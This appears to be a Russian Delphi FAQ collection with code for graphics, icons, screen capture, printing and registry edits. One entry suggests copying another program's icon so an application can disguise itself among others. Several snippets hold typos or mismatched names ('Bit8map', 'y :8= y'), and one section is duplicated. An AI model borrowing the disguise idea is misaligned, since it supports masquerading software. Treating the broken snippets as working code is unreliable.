Такой эффект можно достичь используя метод BrushCopy объекта Canvas:

procedure BrushCopy(const Dest: TRect; Bitmap: TBitmap; const Source: TRect; Color: TColor);

например:
BrushCopy(Bounds(ARect.Left,ARect.Top,Fbmp.Width,Fbmp.Height),
                Fbmp, Bounds(0, 0, Fbmp.Width, Fbmp.Height),
                Fbmp.Canvas.Pixels[0, Fbmp.Height - 1]);
Здесь в качестве подменяемого в Bitmap цвета передается цвет его левой нижней точки.

Именно таким образом реализована прорисовка символического изображения дисков в TDriveComboBox.
К заголовку




Как сохранять иконки в приложении и использовать их run time?
{$R MYRES.RES}
procedure TForm1.Button1Click(Sender: TObject);
var
  h : hIcon;
begin
  h := LoadIcon(hInstance, 'ICON_1');
  Application.Icon.Handle := h;
  InvalidateRect(Application.Handle, nil, true);
end;
К заголовку




Как создать disable'ный битмап из обычного (emboss etc)?
CreateMappedBitmap() :-)
Один из паpаметpов yказатель на COLORMAP, в нем для 16 основных цветов делаешь пеpекодиpовкy, цвета подбеpешь сам из
пpинципа:
все самые яpкие -> в GetSysColor( COLOR_3DLIGHT );
самые  темные -> GetSysColor( COLOR_3DSHADOW );
нейтpальные, котpые бyдyт пpозpачные -> GetSysColor( COLOR_3DFACE );


Serge Zakharchuk(2:5060/32)

Так на самом деле вот как делается данная задача:
============
procedure Tform1.aaa(bmpFrom,bmpTo:Tbitmap);
var
  TmpImage,Monobmp:TBitmap;
  IRect:TRect;
begin
  MonoBmp := TBitmap.Create;
  TmpImage:=Tbitmap.Create;
  TmpImage.Width := bmpFrom.Width;
  TmpImage.Height := bmpFrom.Height;
  IRect := Rect(0, 0, bmpFrom.Width, bmpFrom.Height);
  TmpImage.Canvas.Brush.Color := clBtnFace;
  try
    with MonoBmp do
    begin
      Assign(bmpFrom);
      Canvas.Brush.Color := clBlack;

      if Monochrome then
      begin
        Canvas.Font.Color := clWhite;
        Monochrome := False;
        Canvas.Brush.Color := clWhite;
      end;
      Monochrome := True;
    end;
    with TmpImage.Canvas do
    begin
      Brush.Color := clBtnFace;
      FillRect(IRect);
      Brush.Color := clBlack;
      Font.Color := clWhite;
      CopyMode := MergePaint;
      Draw(IRect.Left + 1, IRect.Top + 1, MonoBmp);
      CopyMode := SrcAnd;
      Draw(IRect.Left, IRect.Top, MonoBmp);
      Brush.Color := clBtnShadow;

      Font.Color := clBlack;
      CopyMode := SrcPaint;
      Draw(IRect.Left, IRect.Top, MonoBmp);
      CopyMode := SrcCopy;
      bmpTo.assign(TmpImage);
      TmpImage.free;
    end;
  finally
    MonoBmp.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  aaa(image1.picture.bitmap,image2.picture.bitmap);
  Image2.invalidate;
end;
============
Писал это не я. Это написал сам Борланд (некузявно было бы взглянуть на класс TButtonGlyph.  Как раз из него я это и выдернул).
Hу а если уже совсем хорошо разобраться, то можно заметить  функцию ImageList_DrawEx, в которой можно на 25 и 50 процентов
уменьшить яркость (но визуально это очень плохо воспринимается). Соответственно параметры ILD_BLEND25, ILD_BLEND50,
ILD_BLEND-A-MED. Естественно, что последний абзац работает только с тройкой.

Denis Tanayeff denis@demo.ru

Это кусочек из рабочей проги на Си, Вроде все лишнее я убрал.
====================
#define CO_GRAY         0x00C0C0C0L

hMemDC      =       CreateCompatibleDC(hDC);
hOldBitmap  =   SelectObject(hMemDC, hBits);

   //  hBits это собственно картинка, которую надо "засерить"

GetObject(hBits, sizeof(Bitmap), (LPSTR) &Bitmap);

if ( GetState(BS_DISABLED) ) // Blt disabled
{
    hOldBrush = SelectObject(hDC, CreateSolidBrush(CO_GRAY));//CO_GRAY

    PatBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth,

            Bitmap.bmHeight, PATCOPY);
    DeleteObject(SelectObject(hDC, hOldBrush));

    lbLogBrush.lbStyle = BS_PATTERN;
    lbLogBrush.lbHatch =(int)LoadBitmap(hInsts,
MAKEINTRESOURCE(BT_DISABLEBITS));
    hOldBrush = SelectObject(hDC, CreateBrushIndirect(&lbLogBrush));

    BitBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth,
                Bitmap.bmHeight, hMemDC, 0, 0, 0x00A803A9UL); // DPSoa

    DeleteObject(SelectObject(hDC, hOldBrush));
    DeleteObject((HGDIOBJ)lbLogBrush.lbHatch);
}
==================
К заголовку




Как скопировать экран (или его часть) в TBitmap?
=== 1 ==
С помощью WinAPI

var
bmp: TBitmap;
DC: HDC;

begin

bmp:=TBitmap.Create;

bmp.Height:=Screen.Height;
bmp.Width:=Screen.Width;

DC:=GetDC(0);  //Дескpиптоp экpана

bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
       DC, 0, 0, SRCCOPY);

bmp.SaveToFile('Screen.bmp');

ReleaseDC(0, DC);
end;

=== 2 ===
Или с помощью обертки TCanvas -

Объект Screen[.width,height] - размеры

Var
Desktop :TCanvas ;
BitMap  :TBitMap;

begin
  DesktopCanvas:=TCanvas.Create;
  DesktopCanvas.Handle:=GetDC(Hwnd_Desktop);
  BitMap := TBitMap.Create;
  BitMap.Width := Screen.Width;
  BitMap.Height:=Screen.Height;
  Bitmap.Canvas.CopyRect(Bitmap.Canvas.ClipRect,
  DesktopCanvas, DesktopCanvas.ClipRect);
........
end;

=== 2 ===
С помощью обертки TCanvas -

Объект Screen[.width,height] - размеры

Var
Desktop :TCanvas ;
BitMap  :TBitMap;

begin
  DesktopCanvas:=TCanvas.Create;
  DesktopCanvas.Handle:=GetDC(Hwnd_Desktop);
  BitMap := TBitMap.Create;
  BitMap.Width := Screen.Width;
  BitMap.Height:=Screen.Height;
  Bitmap.Canvas.CopyRect(Bitmap.Canvas.ClipRect,
  DesktopCanvas, DesktopCanvas.ClipRect);
  ........
end;
К заголовку




Как сделать прямоугольник для выделения части картинки для редактирования?
Самый простой способ - воспользоваться функцией Windows API DrawFocusRect. Функция DrawFocusRect использует операцию XOR
при рисовании - таким образом вывод прямоугольника дважды с одними и теми же координатами стирает прямоугольник, и
прямоугольник всегда будет виден, на фоне какого бы цвета он не выводился.
Пример:

type
        TForm1 = class(TForm)
                procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
                                Shift: TShiftState; X, Y: Integer);
                procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
                                Y: Integer);
                procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
                                Shift: TShiftState; X, Y: Integer);
        private
                {Private declarations}
                Capturing : bool;
                Captured : bool;
                StartPlace : TPoint;
                EndPlace : TPoint;
        public
                {Public declarations}
end;

var
        Form1: TForm1;

implementation

{$R *.DFM}

function MakeRect(Pt1 : TPoint; Pt2 : TPoint) : TRect;
begin
        if pt1.x < pt2.x then
                begin
                        Result.Left := pt1.x;
                        Result.Right := pt2.x;
                end
        else
                begin
                        Result.Left := pt2.x;
                        Result.Right := pt1.x;
                end;
        if pt1.y < pt2.y then
                begin
                        Result.Top := pt1.y;
                        Result.Bottom := pt2.y;
                end
        else
        begin
                Result.Top := pt2.y;
                Result.Bottom := pt1.y;
        end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
                Shift: TShiftState; X, Y: Integer);
begin
        if Captured then
                DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
        StartPlace.x := X;
        StartPlace.y := Y;
        EndPlace.x := X;
        EndPlace.y := Y;
        DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
        Capturing := true;
        Captured := true;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
                Y: Integer);
begin
        if Capturing then
        begin
                DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
                EndPlace.x := X;
                EndPlace.y := Y;
                DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
        end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
                Shift: TShiftState; X, Y: Integer);
begin
        Capturing := false;
end;
К заголовку




Как сделать прозрачным фон текста?
Используйте функцию SetBkMode().
Пример:

             procedure TForm1.Button1Click(Sender: TObject);
             var
               OldBkMode : integer;
             begin
               with Form1.Canvas do begin
                 Brush.Color := clRed;
                 FillRect(Rect(0, 0, 100, 100));
                 Brush.Color := clBlue;
                 TextOut(10, 20, 'Not Transparent!');
                 OldBkMode := SetBkMode(Handle, TRANSPARENT);
                 TextOut(10, 50, 'Transparent!');
                 SetBkMode(Handle, OldBkMode);
               end;
             end;
К заголовку




Как рисовать Disable текст?
function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer;
                           var Rect: TRect;  Format: Word): Integer;
begin
  SetBkMode(Canvas.Handle, TRANSPARENT);

  OffsetRect(Rect, 1, 1);
  Canvas.Font.color:= ClbtnHighlight;
  DrawText (Canvas.Handle, Str, Count, Rect,Format);

  Canvas.Font.Color:= ClbtnShadow;
  OffsetRect(Rect, -1, -1);
  DrawText (Canvas.Handle, Str, Count, Rect, Format);
end;
К заголовку




Как разместить прозрачную надпись на TBitmap?
procedure TForm1.Button1Click(Sender: TObject); var OldBkMode : integer;
begin
Image1.Picture.Bitmap.Canvas.Font.Color := clBlue;
OldBkMode := SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,TRANSPARENT);
Image1.Picture.Bitmap.Canvas.TextOut(10, 10, 'Hello');
SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,OldBkMode);
end;
К заголовку




Как преобразовать ICO в BMP?
Попробуй:

var
Icon : TIcon;
Bitmap : TBitmap;
begin
Icon := TIcon.Create;
Bitmap := TBitmap.Create;
Icon.LoadFromFile('c:\picture.ico');
Bitmap.Width := Icon.Width;
Bitmap.Height := Icon.Height;
Bitmap.Canvas.Draw(0, 0, Icon );
Bitmap.SaveToFile('c:\picture.bmp');
Icon.Free;
Bitmap.Free;
end;

К заголовку




Как показать ассоциированную иконку для файла?
Использовать функцию ExtractAssociatedIcon() из ShellApi

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
  Icon : hIcon;
  IconIndex : word;

begin
  IconIndex := 1;
  Icon := ExtractAssociatedIcon(HInstance,
  Application.ExeName, IconIndex);
  DrawIcon(Canvas.Handle, 10, 10, Icon);
end;

К заголовку




Как нарисовать цветовой спектр радуги на форме и при щелчке на форме определить выбранный цвет?
procedure PaintRainbow(Dc : hDc; {Canvas для прорисовки спектра}
                       x : integer; { X координита начала спектра}
                       y : integer;  {Y координита начала спектра}
                       Width : integer; {Ширина радуги}
                       Height : integer {Высота радуги};
                       bVertical : bool; {Вертикальная прорисковка спектра?}
                       WrapToRed : bool); {Возвратить спектр обратно к красному цвету?}
var
  i : integer;
  ColorChunk : integer;
  OldBrush : hBrush;
  OldPen : hPen;
  r : integer;
  g : integer;
  b : integer;
  Chunks : integer;
  ChunksMinus1 : integer;
  pt : TPoint;
begin
  OffsetViewportOrgEx(Dc,
                      x,
                      y,
                      pt);

  if WrapToRed = false then
    Chunks := 5 else
    Chunks := 6;
  ChunksMinus1 := Chunks - 1;

  if bVertical = false then
    ColorChunk := Width div Chunks else
    ColorChunk := Height div Chunks;

 {Red To Yellow}
  r := 255;
  b := 0;
  for i := 0 to ColorChunk do begin
    g:= (255 div ColorChunk) * i;
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush));
  end;

 {Yellow To Green}
  g:=255;
  b:=0;
  for i := ColorChunk  to (ColorChunk * 2) do begin
    r := 255 - (255 div ColorChunk) * (i - ColorChunk);
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush));
  end;

 {Green To Cyan}
  r:=0;
  g:=255;
  for i:= (ColorChunk * 2) to (ColorChunk * 3) do begin
    b := (255 div ColorChunk)*(i - ColorChunk * 2);
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc,OldBrush));
  end;

 {Cyan To Blue}
  r := 0;
  b := 255;
  for i:= (ColorChunk * 3) to (ColorChunk * 4) do begin
    g := 255 - ((255 div ColorChunk) * (i - ColorChunk * 3));
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush));
  end;

 {Blue To Magenta}
  g := 0;
  b := 255;
  for i:= (ColorChunk * 4) to (ColorChunk * 5) do begin
    r := (255 div ColorChunk) * (i - ColorChunk * 4);
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush))
  end;

  if WrapToRed <> false then begin
   {Magenta To Red}
    r := 255;
    g := 0;
    for i := (ColorChunk * 5) to ((ColorChunk * 6) - 1) do begin
      b := 255 -((255 div ColorChunk) * (i - ColorChunk * 5));
      OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r,g,b)));
      if bVertical = false then
        PatBlt(Dc, i, 0, 1, Height, PatCopy) else
        PatBlt(Dc, 0, i, Width, 1, PatCopy);
      DeleteObject(SelectObject(Dc,OldBrush));
    end;
  end;

 {Fill Remainder}
  if (Width - (ColorChunk * Chunks) - 1 ) > 0 then begin
    if WrapToRed <> false then begin
      r := 255;
      g := 0;
      b := 0;
    end else begin
      r := 255;
      g := 0;
      b := 255;
    end;
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc,
             ColorChunk * Chunks,
             0,
             Width - (ColorChunk * Chunks),
             Height,
             PatCopy) else
      PatBlt(Dc,
             0,
             ColorChunk * Chunks,
             Width,
             Height - (ColorChunk * Chunks),
             PatCopy);
    DeleteObject(SelectObject(Dc,OldBrush));
  end;
  OffsetViewportOrgEx(Dc,
                      Pt.x,
                      Pt.y,
                      pt);
end;

function ColorAtRainbowPoint(ColorPlace : integer;
                             RainbowWidth : integer;
                             WrapToRed : bool) : TColorRef;
var
  ColorChunk : integer;
  ColorChunkIndex : integer;
  ColorChunkStart : integer;
begin
  if ColorPlace = 0 then begin
    result := RGB(255, 0, 0);
    exit;
 end;
{WhatChunk}
  if WrapToRed <> false then
    ColorChunk := RainbowWidth div 6 else
    ColorChunk := RainbowWidth div 5;
    ColorChunkStart := ColorPlace div ColorChunk;
    ColorChunkIndex := ColorPlace mod ColorChunk;
  case ColorChunkStart of
   0 : result := RGB(255,
                     (255 div ColorChunk) * ColorChunkIndex,
                     0);
   1 : result := RGB(255 - (255 div ColorChunk) * ColorChunkIndex,
                     255,
                     0);
   2 : result := RGB(0, 255, (255 div ColorChunk) * ColorChunkIndex);
   3 : result := RGB(0,
                     255 - (255 div ColorChunk) * ColorChunkIndex,
                     255);
   4 : result := RGB((255 div ColorChunk) * ColorChunkIndex,
                     0,
                     255);
   5 : result := RGB(255,
                     0,
                     255 - (255 div ColorChunk) * ColorChunkIndex);
  else
    if WrapToRed <> false then
      result := RGB(255, 0, 0) else
      result := RGB(255, 0, 255);
  end;{Case}
end;


procedure TForm1.FormPaint(Sender: TObject);
begin
  PaintRainbow(Form1.Canvas.Handle,
               0,
               0,
               Form1.ClientWidth,
               Form1.ClientHeight,
               false,
               true);

end;

procedure TForm1.FormResize(Sender: TObject);
begin
  InvalidateRect(Form1.Handle, nil, false);
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  Color : TColorRef;
begin
  Color := ColorAtRainbowPoint(y,
                               Form1.ClientWidth,
                               true);
  ShowMessage(IntToStr(GetRValue(Color)) + #32 +
              IntToStr(GetGValue(Color)) + #32 +
              IntToStr(GetBValue(Color)));
end;
К заголовку




Как нарисовать картинку прямо на форме?
Если картинка меньше формы, то она размоножается:

 private
    { Private declarations }
    Bit8map: TBitmap;

procedure TBmpForm.FormCreate(Sender: TObject);
begin
  Bitmap := TBitmap.Create;
  Bitmap.LoadFromFile('bor6.bmp');
end;

procedure TBmpForm.FormDestroy(Sender: TObject);
begin
  Bitmap.Free;
end;

procedure TBmpForm.FormPaint(Sender: TObject);
var
  x, y: Integer;
begin
  y := 0;
  while y < Height do
  begin
    x := 0;
    while x < Width do
    begin
      Canvas.Draw(x, y, Bitmap);
      x := x + Bitmap.Width;
    end;
    y :8= y + Bitmap.Height;
  end;
end;

К заголовку




Загрузить bitmap из .res без потери палитры?
=== 1 ===
procedure loadgraphic(naam:string);
var
  { I've moved these in here, so they exist only during the lifetime of the procedure. }
  HResInfo: THandle;
  BMF: TBitmapFileHeader;
  MemHandle: THandle;
  Stream: TMemoryStream;
  ResPtr: PByte;
  ResSize: Longint;
  null:array [0..8] of char;

begin
  { In this first part, you are retrieving the bitmap from the resource.
    The bitmap that you retrieve is almost, but not quite, the same as a
    .BMP file (complete with palette information). }

  strpcopy (null, naam);
  HResInfo := FindResource(HInstance, null, RT_Bitmap);
  ResSize := SizeofResource(HInstance, HResInfo);
  MemHandle := LoadResource(HInstance, HResInfo);
  ResPtr := LockResource(MemHandle);

  { Think of a MemoryStream almost as a "File" that exists in memory.
    With a Stream, you can treat either the same way! }

  Stream := TMemoryStream.Create;

  try
    Stream.SetSize(ResSize + SizeOf(BMF));

    { Next, you effectively create a .BMP file in memory by first writing the header (missing from the resource, so you add it)... }
    BMF.bfType := $4D42;
    Stream.Write(BMF, SizeOf(BMF));

    { Then the data from the resource. Now the stream contains a .BMP file }
    Stream.Write(ResPtr^, ResSize);

    { So you point to the beginning of the stream... }
    Stream.Seek(0, 0);

    { ...and let Delphi's TBitmap load it in }
    Bitmap:=tbitmap.create;
    Bitmap.LoadFromStream(Stream);

    { At this point, you are done with the stream and the resource. }
  finally
    Stream.Free;
  end;
  FreeResource(MemHandle);
end;

=== 2 ===
 Включите в ваше приложение следующую директиву {$R RESFILENAME.RES} и затем используйте фунцию LoadBitmap.

 TImage.Picture.Bitmap.Handle := LoadBitmap( Handle, 'BITMAPNAMEHERE' )
К заголовку




TJpegImage - загрузить Jpg
begin
  JPEG := TJPEGImage.Create;
  Try
    JPEG.LoadFromFile('C:\TEMP\SOMEIMAGE.JPEG');
    MainImage.Picture.Assign(JPEG);
    MainImage.Invalidate;
  Finally
    JPEG.Free;
end;

К заголовку




Извлечение ассоциированной иконки к файлу?
Делается это так:
uses
   ShellAPI;

procedure TForm1.ExtractIcon(FileNam : String);
var
 aFile: PChar;
 IconIndex : word;
begin
   //IconIndex := 1;
   aFile := PChar(FileNam);
   Image1.Picture.Icon.Handle :=
   ExtractAssociatedIcon(Application.Handle, aFile, IconIndex);
end;
К заголовку




Достать иконку из файла?
=== 1 ===
 uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
IconIndex : word;
h : hIcon;
begin
IconIndex := 0;
h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex);

DrawIcon(Form1.Canvas.Handle, 10, 10, h);
end;

=== 2 ===
Иногда очень хочется иметь иконку как "Вон у той проги" , или надо сделать приложение хамелеон, которое маскируется среди
других в одном каталоге с ней... Вот код
var

MyIcon: TIcon;
begin
MyIcon := TIcon. Create;
try
MyIcon.Handle := ExtractIcon(hInstance, 'MYPROG.EXE', 0)
{Здесь можно что-нибудь сделать с иконкой}
finally
MyIcon.Free;
end;
end;
К заголовку




Просмотреть video Gif
Берёшь TWebBrowser и делаешь следующее: property Offline ставишь в True,
а в коде пишешь:
WebBrowser1.Navigate('c:\picture.gif');
К заголовку




Как проверить, установлен ли принтер по умолчанию?
 procedure TForm1.Button1Click(Sender: TObject);
  var
    Device, Driver, Port   : array [0..255] of Char;
    Mode                   : Integer;
  begin
    Printer.GetPrinter(Device,Driver,Port,Mode);
    if Device <> '' then
      ShowMessage(Device)
    else
      ShowMessage('Не установлен принтер по умолчанию');
  end;
К заголовку




Как мне отправить на принтер чистый поток данных?
 Под Win16 Вы можете использовать функцию SpoolFile, или Passthrough escape, если принтер поддерживает
последнее.Под Win32
Вы можете использовать WritePrinter.
Ниже пример открытия принтера и записи чистого потока данных в принтер.Учтите, что Вы должны передать
корректное имя
принтера, такое, как "HP LaserJet5MP",чтобы функция сработала успешно.
Конечно, Вы можете включать в поток данных любые необходимые управляющие коды,которые могут
потребоваться.

uses WinSpool;


procedure WriteRawStringToPrinter(PrinterName:String; S:String);
var
  Handle: THandle;
  N: DWORD;
  DocInfo1: TDocInfo1;
begin
  if not OpenPrinter(PChar(PrinterName), Handle, nil) then
  begin
    ShowMessage('error ' + IntToStr(GetLastError));
    Exit;
  end;
  with DocInfo1 do begin
    pDocName := PChar('test doc');
    pOutputFile := nil;
    pDataType := 'RAW';
  end;
  StartDocPrinter(Handle, 1, @DocInfo1);
  StartPagePrinter(Handle);
  WritePrinter(Handle, PChar(S), Length(S), N);

  EndPagePrinter(Handle);
  EndDocPrinter(Handle);
  ClosePrinter(Handle);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  WriteRawStringToPrinter('HP', 'Test This');
end;
К заголовку




Как указать размер страницы не используя TPrintSetupDialog
Я использую следующий код.
Уже с год как работает.

var  Device : array[0..cchDeviceName-1] of Char;
  Driver : array[0..(MAX_PATH-1)] of Char;
  Port : array[0..32] of Char;
  hDMode : THandle;
  pDMode : PDevMode;
  sDev : array[0..32] of Char;begin Printer.GetPrinter(Device,Driver,Port,hDMode);
 if hDMode <> 0 then begin  pDMode :=GlobalLock(hDMode);
  if pDMode <> nil then begin    pdMode^.dmOrientation :=2;
 //landscape    pdMode^.dmPaperSize := DMPAPER_A3    //( см. win32.hlp DEVMODE)
       GlobalUnlock(hDMode);
  end;
 end; . . .
К заголовку




Работа с принтером
Delphi имеет стандартный объект для доступа к принтеру - TPRINTER, находящийся в модуле PRINTERS. В этом
модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет
выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" -
не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее
приведены основные поля и методы объекта Printers :
PROPERTY
Aborted:boolean - Показывает, что процесс печати прерван
Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге
графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта.
Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером
Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее)
Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape)
PageHeight:integer - Высота листа в пикселах
PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage
PageWidth:integer - Ширина листа в пикселах
PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers
Printers:Tstrings - Список доступных принтеров
Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати
Title:string - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере
печати

METODS
AssignPrn(f:TextFile) - Связать текстовый файл с принтером.
Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.
Abort - Сбросить печать
BeginDoc - Начать печать
NewPage - Начать новую страницу
EndDoc - Завершить печать.

Пример :
Procedure TForm1.Button1Click(Sender: TObject);
Begin
 With Printer do Begin
  BeginDoc; { Начало печати }
  Canvas.Font:=label1.font; { Задали шрифт }
  Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }
  EndDoc; { Конец печати }
 end;
end;

Особенности работы с TPrinter

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново
2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным
причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и ,
главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все
координаты "поедут".
3. У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или
смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к
некорректной работе, например, неправильной печать шрифтов True Type.
Определение параметров принтера через API
Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно
узнать объекта TPrinter - Printer.Handle.
Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;
Index - код параметра, который необходимо вернуть.
Для Index существует ряд констант :
DriverVersion - вернуть версию драйвера
Texnology - Технология вывода, их много, основные
 dt_Plotter - плоттер
 dt_RasPrinter - растровый принтер
 dt_Display - дисплей
HorzSize - Горизонтальный размер листа (в мм)
VertSize - Вертикальный размер листа (в мм)
HorzRes - Горизонтальный размер листа (в пикселах)
VertRes - Вертикальный размер листа (в пикселах)
LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все. Параметры,
возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из
миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:

Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }
begin
  PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
  PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;

Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }
begin
 PrinterCoordX:=round(PixelsX/25.4*x);
end;

Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }
begin
 PrinterCoordY:=round(PixelsY/25.4*Y);
end;

GetPrinterInfo;

Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),

 'Этот текст печатается с отступом 30 мм от левого края и '+
 '55 мм от верха при любом разрешении принтера');

Данную методику можно с успехом применять для печати картинок - зная размер картинки можно пересчитать ее
размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на
матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) - микроскопической.

P.S. Мой комментарий.
 Я производил печать следующим образом:
procedure TForm6.SpeedButton1Click(Sender: TObject);
var
PRect:Trect;
PBitMap:TBitmap;
begin
PBitmap:=TBitMap.Create;
PBitmap.LoadFromFile('C:\1.bmp');
With PRect do begin
left:=0;
top:=0;
right:=Printer.PageWidth;
Bottom:=Printer.PageHeight;
end;

with printer do begin
BeginDoc;
font.name:='Times New Roman';
Canvas.StretchDraw(PRect,Bitmap);
EndDoc;
end;
PBitmap.Free;
end;
К заголовку




Можно ли использовать результаты выполнения одного TQuery для другого TQuery?
Если Вы работаете с локальными БД, то Вам поможет -
DbiMakePermanent( SourceQuery.Handle, RName, false );
К заголовку




Можно ли отключить определенный элемент в RadioGroup?
В примере показано как получить доступ к отдельным элементам компонента TRadioGroup.
Пример:
procedure TForm1.Button1Click(Sender: TObject); begin TRadioButton(RadioGroup1.Controls[1]). Enabled := False; end;
К заголовку




Как сообщить другим приложениям, что мое приложение изменило реестр?
Пошлите в систему сообщение WM_WININICHANGE и строку, содержащую название секции,
которая была изменена.

procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0,
LongInt(PChar('RegistrySection')));
end;
К заголовку




Как редактировать реестр (переименование корзины)
Алгоритм взаимодействия Delphi с системным реестром весьма прост.


Для этого нужно:

1) В области uses объявить модуль Registry

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry;


2) Объявить переменную класса TRegistry

var
a:TRegistry;


3) Создать эту переменную (имеется в виду - выделить под неё память)

a:=TRegistry.Create;


4) Переменная класса TRegistry имеет тип записи. У переменной типа "запись" есть свои свойства, свои события. И теперь, после
того как мы выделили память под эту переменную, нам сперва нужно указать с каким из основных ключей мы хотим
взаимодействовать - с помощью свойства RootKey.

a.RootKey:=HKEY_CLASSES_ROOT;


5) Далее мы открываем нужный нам ключ, используя метод OpenKey. Сначала нужно указать путь к нужному ключу (без указания
главного, т.к. он уже был указан в предыдущем пункте), а затем логическое значение, обозначающее - будет ли создан ключ в случае
его отсутствия (мы написали false - это значит, что ключ создан не будет). Например, мы хотим изменить заголовок корзины
(заметьте, обычным способом это сделать нельзя!), тогда код с указанием пути к ключу, отвечающему за эту системную папку будет
выглядеть так:

a.OpenKey('\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}',false);


6) Когда нужный ключ открыт, нам предоставляется возможность редактировать его параметры. Для этого нужно использовать
следующие методы: для внесения данных в реестр - WriteString, WriteInteger, WriteFloat, WriteDate и т.д., в зависимости от того
какого типа данные мы хотим вносить; для считывания данных из параметра - ReadString, ReadInteger, ReadFloat, ReadDate...

В данном случае, мы хотим изменить заголовок корзины, т.е. хотим внести данные в реестр, данные строкового типа - поэтому
используем метод WriteString:  a.WriteString('','Мусорка');



Методу нужно указать 2 параметра: сначала имя параметра, затем заносимое значение. В качестве имени параметра мы не указываем
ничего, п.ч. в указанном нами ключе имя корзины - это параметр по умолчанию. В качестве значения можно указать всё, что угодно,
например, 'Мусорка'.

7) После того как мы сделали своё грязное дело, нужно замести следы: сначала закрыть ключ:  a.CloseKey;



, а затем освободить выделенную нами память:  a.Free;




